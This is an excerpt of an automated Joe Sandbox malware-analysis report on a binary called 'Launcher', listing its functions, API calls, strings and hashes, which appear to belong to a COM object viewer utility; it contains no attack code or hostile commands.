Similarity

API ID: #1662#2644
String ID:
API String ID: 3643970462-0
Opcode ID: b2a4955d172f6893873056020b2d99104e7532283901debc0db40684e72d8a1e
Instruction ID: a5c4a9528402f3534010176fe5fb5b81f2246286b97fcf057226204ccf671884
Opcode Fuzzy Hash: b2a4955d172f6893873056020b2d99104e7532283901debc0db40684e72d8a1e
Instruction Fuzzy Hash: 8F41A134A10218EFCB44DF94C596DACBBB2FF54724F618498E84AAB361D771AF41EB04

Function 0067DE06 Relevance: 3.0, APIs: 2, Instructions: 20COMMON

Download Yara Rule

APIs

_callnewh.MSVCRT ref: 0067DE11
malloc.MSVCRT ref: 0067DE1E

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: _callnewhmalloc
String ID:
API String ID: 2285944120-0
Opcode ID: 42dd992d449b805a10e81f054b7db909a7b89bb086b073c0934b2cc9592ffe85
Instruction ID: bd8ff5437758866546d1149509515f11a745bd574fe13ad4abffd34e9049944d
Opcode Fuzzy Hash: 42dd992d449b805a10e81f054b7db909a7b89bb086b073c0934b2cc9592ffe85
Instruction Fuzzy Hash: 91D0A73220052AB34A322659DC0089B7A6BCE52BF0315C435F80C9E315EE11CD1182C0

Function 006795D0 Relevance: 3.0, APIs: 2, Instructions: 19windowCOMMON

Download Yara Rule

APIs

#4704.MFC42U ref: 006795D5

Part of subcall function 0066B421: #1172.MFC42U(?,0066B338), ref: 0066B424

Part of subcall function 00679597: SendMessageW.USER32(?,00000031,00000000,00000000), ref: 006795A0
Part of subcall function 00679597: #2855.MFC42U(00000000), ref: 006795A7

SendMessageW.USER32(?,00000030,00000000,00000001), ref: 006795FC

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend$#1172#2855#4704
String ID:
API String ID: 854760084-0
Opcode ID: 19e94d20a6822827aabec7ec975d1b479dbbcaf43ee0d8b83277431f393cf0e0
Instruction ID: dd17ce1cd1033cfcbd6472f3ea43bfa33c56c46da904cf416bad5ba233ae5d36
Opcode Fuzzy Hash: 19e94d20a6822827aabec7ec975d1b479dbbcaf43ee0d8b83277431f393cf0e0
Instruction Fuzzy Hash: D1D02E312201206FF360BB70EC09FA636DFEF89320F0680B8B908CB1A2CE61CC008720

Function 0066FC60 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

#4435.MFC42U(?,?), ref: 0066FCCC

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #4435
String ID:
API String ID: 3199213920-0
Opcode ID: c52902ddf3ce77c3f7388957e6620425dd07e389e919fe0156f14a50d583eca3
Instruction ID: 2d16ac3d9a6b7b2f59968e27d988c86a3b42ab7812fa263adf3e5329bfe58c6b
Opcode Fuzzy Hash: c52902ddf3ce77c3f7388957e6620425dd07e389e919fe0156f14a50d583eca3
Instruction Fuzzy Hash: 79018635700159ABDF199B55D858BBEBB66FB84325F44413BED0587391CB309D11CBD0

Function 0066EAB0 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066EAB7

Part of subcall function 0067DE06: malloc.MSVCRT ref: 0067DE1E

Part of subcall function 0066EAE6: __EH_prolog3.LIBCMT ref: 0066EAED
Part of subcall function 0066EAE6: #338.MFC42U(0000000C,0066EAD7,00000004), ref: 0066EAF7
Part of subcall function 0066EAE6: #540.MFC42U(0000000C,0066EAD7,00000004), ref: 0066EB0B
Part of subcall function 0066EAE6: #860.MFC42U(0066349E,0000000C,0066EAD7,00000004), ref: 0066EB27
Part of subcall function 0066EAE6: #540.MFC42U ref: 0066EB36
Part of subcall function 0066EAE6: #540.MFC42U ref: 0066EB42
Part of subcall function 0066EAE6: #4155.MFC42U(00000004), ref: 0066EB50
Part of subcall function 0066EAE6: #4155.MFC42U(00000008,00000004), ref: 0066EB5A
Part of subcall function 0066EAE6: #3516.MFC42U(?,?,00000005,00000008,00000004), ref: 0066EB6E
Part of subcall function 0066EAE6: #861.MFC42U(ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 0066EB7E
Part of subcall function 0066EAE6: #3516.MFC42U(?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 0066EB8D
Part of subcall function 0066EAE6: #861.MFC42U(ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 0066EB9D
Part of subcall function 0066EAE6: #3516.MFC42U(?,?,00000001,ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 0066EBAC
Part of subcall function 0066EAE6: #800.MFC42U(?,?,00000001,ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 0066EBB7
Part of subcall function 0066EAE6: #800.MFC42U(?,?,00000001,ExpertMode,?,?,00000000,ViewHiddenComCats,?,?,00000005,00000008,00000004), ref: 0066EBBF

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #3516#540$#4155#800#861H_prolog3$#338#860malloc
String ID:
API String ID: 1769621591-0
Opcode ID: 4d9eeb8681f7127537df5a8393f9316ee3a3cc0801ec054482a20e9567255794
Instruction ID: a649e30ea5e2c036d9ad45298ccfb8b6fca8b56451b53b3341b9929a63672f21
Opcode Fuzzy Hash: 4d9eeb8681f7127537df5a8393f9316ee3a3cc0801ec054482a20e9567255794
Instruction Fuzzy Hash: 8DD0C775B5550197DF98BBF41412B5D15936F44310F60883DB648D9381DE6189008259

Function 00670D60 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00670D67

Part of subcall function 0067DE06: malloc.MSVCRT ref: 0067DE1E

Part of subcall function 00671536: __EH_prolog3.LIBCMT ref: 0067153D
Part of subcall function 00671536: #366.MFC42U(00000004,00670D8A,00000004), ref: 00671547
Part of subcall function 00671536: #527.MFC42U(00000004,00670D8A,00000004), ref: 0067155C
Part of subcall function 00671536: #529.MFC42U(00000004,00670D8A,00000004), ref: 0067156B
Part of subcall function 00671536: #554.MFC42U(00000004,00670D8A,00000004), ref: 0067157A

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: H_prolog3$#366#527#529#554malloc
String ID:
API String ID: 3012659443-0
Opcode ID: c1f96e3bdcd65e6570865878966fda918536645f98fcf216de2252a7503f4b48
Instruction ID: 85ab912e6a5eb968151cc752961b906a9f161763a930f40e0955302ee3fcd7e3
Opcode Fuzzy Hash: c1f96e3bdcd65e6570865878966fda918536645f98fcf216de2252a7503f4b48
Instruction Fuzzy Hash: 18D0C9B1B4120297EFD8BBFC5826B5D15A35F45310F60C93DA24DDA281DE608A00866D

Function 006715A4 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

#439.MFC42U ref: 006715B0

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #439
String ID:
API String ID: 466583480-0
Opcode ID: 13be0d4cb4729adff3c7d63e7a5ff9b3672a162db0dd7bc77e2554dd8f4517ef
Instruction ID: 22e7b15654067f87842258f4d82b219c0979a0fd4611051237e838c9e2d3af13
Opcode Fuzzy Hash: 13be0d4cb4729adff3c7d63e7a5ff9b3672a162db0dd7bc77e2554dd8f4517ef
Instruction Fuzzy Hash: BDC08CB2601264A78B106F4E980688ABEDDC9C5BA0311009EB405A7200EEF09E0083E9

Function 006716A0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

#4146.MFC42U(?,?,?,?), ref: 006716B7

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #4146
String ID:
API String ID: 1848845558-0
Opcode ID: db260932d695573c051feaa346e26578e55ea5e1411149e61a8cf7a75880d7ed
Instruction ID: 1a64fe6dfda023630748e752118e9291354bbdf011a47c10bff355dc7b519354
Opcode Fuzzy Hash: db260932d695573c051feaa346e26578e55ea5e1411149e61a8cf7a75880d7ed
Instruction Fuzzy Hash: BAC0123700014DBBCF015E55DC01C9A3B6AEB44320B008500FD2C45161CB72D830A664

Function 0067EDF0 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

__wgetmainargs.KERNELBASE ref: 0067EE14

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: __wgetmainargs
String ID:
API String ID: 1709950718-0
Opcode ID: f7aa2270a1ad0223746d85d773f384670b724715541d42462ecbf458f13b39d1
Instruction ID: 46defa10ac48d90080bde06c07dc2433a705aca1bc48eead403950da7d856ea2
Opcode Fuzzy Hash: f7aa2270a1ad0223746d85d773f384670b724715541d42462ecbf458f13b39d1
Instruction Fuzzy Hash: 0BD0C970A80332BF8708EB14EC47C023A6BA604F017032316F49152361D7E283508B00

Function 0066E18B Relevance: 1.5, APIs: 1, Instructions: 10windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000000B,?,00000000), ref: 0066E19A

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 909a554470ea547ee9641a9b079aab785ff3a589c5f27aaa1cb95b4275a1e8cf
Instruction ID: a9d7437e2132f80b1f4124206c0d7b255be70779c9c486badb4b78221b69f783
Opcode Fuzzy Hash: 909a554470ea547ee9641a9b079aab785ff3a589c5f27aaa1cb95b4275a1e8cf
Instruction Fuzzy Hash: 97C09B73144208B7E7211B51DC05F867F7AE795761F515111F7181D0B18B739471D754

Function 006755E4 Relevance: 1.5, APIs: 1, Instructions: 10windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001102,00000000,00000003), ref: 006755F7

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 70f350eb3008f1cd231b5aab65fb04b614d44e707e8596be026c3548552e5142
Instruction ID: 6f09ff3974e7fea5fd2d6a3907065ca0417cc59fa3e1e2e0c4d7afa7554ace56
Opcode Fuzzy Hash: 70f350eb3008f1cd231b5aab65fb04b614d44e707e8596be026c3548552e5142
Instruction Fuzzy Hash: 61C04C37044108BBDB025F91DC09CC57F7BFB99762B519111F658090718B739971EB50

Function 05160549 Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2241072151.0000000005160000.00000040.00000800.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5160000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8750de9418a28f2c49cb0d02cf01ac34161201122c61743283025a8ec09645e
Instruction ID: a2763000f1242ac583f80fe106146a22310581877de7cd3dc7fe9edade097fe6
Opcode Fuzzy Hash: b8750de9418a28f2c49cb0d02cf01ac34161201122c61743283025a8ec09645e
Instruction Fuzzy Hash: D8D05E2000D3C54BD70353B8B41966C3F66DB86015F0800DAE4C987053DF58101AA317

Function 05160991 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2241072151.0000000005160000.00000040.00000800.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5160000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c9598d0b15253ffa8621d67cbca10bb898d10aa821dfa97acf67108e0ea2dc9
Instruction ID: d1e38f5c251d47f9fb2110b2ec0d8eaf3f5141d3d957541db08f6ee5d4e761eb
Opcode Fuzzy Hash: 6c9598d0b15253ffa8621d67cbca10bb898d10aa821dfa97acf67108e0ea2dc9
Instruction Fuzzy Hash: 9B2180307002098FDB09EB68E5187AE7AABEFC8300F10492DD405A77A6CF795C56CB95

Function 0508D01C Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240463445.000000000508D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0508D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_508d000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48a71c99d30a2cd4d86df2c251f821d18a096fae4bb9b07019ec7b0fa395b53d
Instruction ID: 64bfb9df8fce7c4d42c1aede633e747ae7f69b443365941d6bb39c8a0b234836
Opcode Fuzzy Hash: 48a71c99d30a2cd4d86df2c251f821d18a096fae4bb9b07019ec7b0fa395b53d
Instruction Fuzzy Hash: D611D3B25443449EDB14EF24E984F3EBB96FB44314FA08B69D5894B281C33AD446CA62

Function 0508D007 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2240463445.000000000508D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0508D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_508d000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b170dc52422bc8f42899f2b48c515b9e368bea00f5046dcded0eadef7b4da0f6
Instruction ID: 9f7d8ec5d3c939580dd0d33a8a7365025fbd23ee404318edd123c13a83006fea
Opcode Fuzzy Hash: b170dc52422bc8f42899f2b48c515b9e368bea00f5046dcded0eadef7b4da0f6
Instruction Fuzzy Hash: 4011CDB24487C48FD713DF24E984B25BFB1FB55214F1586EAC4858B293D33A944ACB62

Function 05160869 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2241072151.0000000005160000.00000040.00000800.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5160000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c2763b6bbe1a35deb15bc478962225da6b7c41bdc103d00c71e6dc5ce8325d3
Instruction ID: 5b831718991c738fef00d9c20806597aa6d2a1539fde4555570e03baa22cefd5
Opcode Fuzzy Hash: 4c2763b6bbe1a35deb15bc478962225da6b7c41bdc103d00c71e6dc5ce8325d3
Instruction Fuzzy Hash: 2811A0306403458FDB15DF64E918BAE7BB6FF88304F00492DD486AB667CF78680ACB91

Function 05160ABF Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2241072151.0000000005160000.00000040.00000800.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5160000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c975543ceee92f9242c30e5480ef8096b3571b237d7f6feb6513995aee769fca
Instruction ID: d7d5efba3e10b435ea1264d022b3df95851762aad0f9f0fa571268ab6b7ad1a9
Opcode Fuzzy Hash: c975543ceee92f9242c30e5480ef8096b3571b237d7f6feb6513995aee769fca
Instruction Fuzzy Hash: A4D05E31B801494ACF08E7A8A4112DCBF61EF80219F0049ADC10597042DB67A50A83A6

Function 05160848 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2241072151.0000000005160000.00000040.00000800.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5160000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1035d28617b2c88f15ed8ba473b4043ff471fd8f1e638b0d106bda78f0492f3
Instruction ID: 41fe43403d5c0b2b6266bb90d3ab64b945ba78d2e959b2599ae38e4f9be3b554
Opcode Fuzzy Hash: b1035d28617b2c88f15ed8ba473b4043ff471fd8f1e638b0d106bda78f0492f3
Instruction Fuzzy Hash: 3FB0123005438ECBDA8137E5F00EA7C3F5FEB8462BB400010FA8E81682EF7C151245A7

Non-executed Functions

Function 00679634 Relevance: 51.2, APIs: 23, Strings: 6, Instructions: 469registrystringwindowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0067963E
RegQueryInfoKeyW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000,0000009C,0067ACE5,?,?), ref: 0067966E
RegEnumValueW.ADVAPI32(?,00000000,00000000,?,00000000,?,00000000,?), ref: 006797A0
wsprintfW.USER32 ref: 00679854
wsprintfW.USER32 ref: 0067986C
wsprintfW.USER32 ref: 00679925
wsprintfW.USER32 ref: 0067993B
lstrcpyW.KERNEL32(?,?), ref: 00679956
#538.MFC42U(00000000), ref: 0067997D
#538.MFC42U(00000000,00000000), ref: 00679996
#800.MFC42U(?,?,?,00000000,00000000), ref: 006799D6
#800.MFC42U ref: 006799EF
SendMessageW.USER32(?,00001132,00000000,?), ref: 00679A0F
RegEnumValueW.ADVAPI32(?,?,00000000,?,00000000,?,00000000,?), ref: 00679A41
RegOpenKeyExW.ADVAPI32(?,00000000,00000000,00020019,?), ref: 00679AB4
#538.MFC42U(00000000), ref: 00679AC2

Part of subcall function 00679634: memset.MSVCRT ref: 00679884
Part of subcall function 00679634: _itow.MSVCRT ref: 006798C3
Part of subcall function 00679634: lstrcpyW.KERNEL32(00000000,<cannot coerce data to string>), ref: 006798FD
Part of subcall function 00679634: #800.MFC42U(00000000), ref: 00679AE7
Part of subcall function 00679634: SendMessageW.USER32(?,00001102,00000002,00000000), ref: 00679AFE
Part of subcall function 00679634: RegCloseKey.ADVAPI32(?), ref: 00679B07

RegEnumKeyW.ADVAPI32(?,00000000,00000000,?), ref: 00679B16

Strings

%#08X (%lu), xrefs: 00679866
%s = %s, xrefs: 00679916
%#04X%04X (%lu), xrefs: 0067984E
%s [%s] = %s, xrefs: 00679933
<cannot coerce data to string>, xrefs: 006798F7
%s [<no name>] = %s, xrefs: 0067991D

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: wsprintf$#538#800Enum$MessageSendValuelstrcpy$CloseH_prolog3InfoOpenQuery_itowmemset
String ID: %#04X%04X (%lu)$%#08X (%lu)$%s = %s$%s [%s] = %s$%s [<no name>] = %s$<cannot coerce data to string>
API String ID: 88432742-3653656851
Opcode ID: 3af90ef52b64c70ca917b49e953a272b1d08e86328212c3cca7d685e4e565b49
Instruction ID: e7f1e0257405a58c6739089fe6ac68dc11ab14fbdee243499bbeb61756db1e5a
Opcode Fuzzy Hash: 3af90ef52b64c70ca917b49e953a272b1d08e86328212c3cca7d685e4e565b49
Instruction Fuzzy Hash: BBF13C71900209AFDF15DFA8DC85AFEB7FAEF09300F14851AF51AE7291EA3099018B64

Function 00674899 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 162stringCOMMON

Download Yara Rule

APIs

#1662.MFC42U ref: 006748D9
#540.MFC42U ref: 006748F3
lstrcpyW.KERNEL32(?,00000000), ref: 00674912
CreateBindCtx.OLE32(00000000,?), ref: 00674936
MkParseDisplayName.OLE32(?,00000000,00000000,00000000), ref: 00674971
#2644.MFC42U ref: 006749D1
#2810.MFC42U(?,MkParseDisplayName(... "%s" ...) failed.,?), ref: 006749E9
#800.MFC42U(?,00000000), ref: 00674A19
lstrlenW.KERNEL32(?), ref: 00674A30
#2810.MFC42U(?,Warning: MkParseDisplayName only ate up to "%s".,?), ref: 00674A82
#2644.MFC42U ref: 00674B42
#800.MFC42U ref: 00674B5D

Strings

MkParseDisplayName(... "%s" ...) failed., xrefs: 006749DD
Warning: MkParseDisplayName only ate up to "%s"., xrefs: 00674A76

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #2644#2810#800$#1662#540BindCreateDisplayNameParselstrcpylstrlen
String ID: MkParseDisplayName(... "%s" ...) failed.$Warning: MkParseDisplayName only ate up to "%s".
API String ID: 3470803309-1365492349
Opcode ID: 212a4fbf293096b79caa1a9864e3cb67e2efad97b947f4b30f803edf7c0ed217
Instruction ID: 066c67b1b91f77a77a08df9f7fdbc1322ef7f371859bd51124712817da924755
Opcode Fuzzy Hash: 212a4fbf293096b79caa1a9864e3cb67e2efad97b947f4b30f803edf7c0ed217
Instruction Fuzzy Hash: D081CE75901229AFCB60EFA4DC8DB99B7B5FF48311F1042E9E409A7260DB34AE84CF14

Function 00673450 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 132clipboardmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006778ED: GetFocus.USER32 ref: 006778ED
Part of subcall function 006778ED: #2859.MFC42U(00000000), ref: 006778F4

Part of subcall function 00677980: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0067798C

GlobalAlloc.KERNEL32(00002002,00000200), ref: 00673522
GlobalLock.KERNEL32(?), ref: 00673534
StringFromGUID2.OLE32(-00000008,?,00000028), ref: 00673553
wsprintfW.USER32 ref: 00673650
GlobalUnlock.KERNEL32(?), ref: 0067365F
EmptyClipboard.USER32 ref: 00673670
SetClipboardData.USER32(0000000D,?), ref: 0067367E
CloseClipboard.USER32 ref: 00673684

Part of subcall function 006778FA: SendMessageW.USER32(?,0000113E,00000000,00000014), ref: 0067790C

Strings

P, xrefs: 00673624
<object classid="clsid:%s"></object>, xrefs: 00673645

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: ClipboardGlobal$MessageSend$#2859AllocCloseDataEmptyFocusFromLockStringUnlockwsprintf
String ID: <object classid="clsid:%s"></object>$P
API String ID: 2486233384-3677239044
Opcode ID: 44bd795a1defbc06722170287eb1b7fb873e942834bd84af054d73690a4bee88
Instruction ID: 21dc0b9e46308a9f1692c82bf0765299d3ba90d138ef9baf24fd228b3922c847
Opcode Fuzzy Hash: 44bd795a1defbc06722170287eb1b7fb873e942834bd84af054d73690a4bee88
Instruction Fuzzy Hash: 2851A1749112289FEB60DB64CD45B99B7B6FF08300F0181EAE54DA7291EB745E84CF16

Function 0067DA20 Relevance: 13.6, APIs: 9, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00020008,000000FF), ref: 0067DA51
OpenProcessToken.ADVAPI32(00000000), ref: 0067DA58
malloc.MSVCRT ref: 0067DA69
GetTokenInformation.ADVAPI32(000000FF,00000002,00000000,00008000,?), ref: 0067DA81
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0067DAA2
EqualSid.ADVAPI32(00000004,?), ref: 0067DABD
FreeSid.ADVAPI32(00000000), ref: 0067DAE4
free.MSVCRT ref: 0067DAEF
CloseHandle.KERNEL32(000000FF), ref: 0067DAFF

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: ProcessToken$AllocateCloseCurrentEqualFreeHandleInformationInitializeOpenfreemalloc
String ID:
API String ID: 4152120180-0
Opcode ID: 70f4bcf6dd2bf17321860d7271be7e9a12222e60730699b3a33b811ed976f8dc
Instruction ID: 02adae3a22796d65a569c387f632f23cb630c810272a85312ab6c1540ac84269
Opcode Fuzzy Hash: 70f4bcf6dd2bf17321860d7271be7e9a12222e60730699b3a33b811ed976f8dc
Instruction Fuzzy Hash: 61318431A0421ABFDB10DFA4DD89ABFBBBAFF04711F244629E915E2290DB309D05CB50

Function 00672EF0 Relevance: 10.6, APIs: 7, Instructions: 69clipboardmemoryCOMMON

Download Yara Rule

APIs

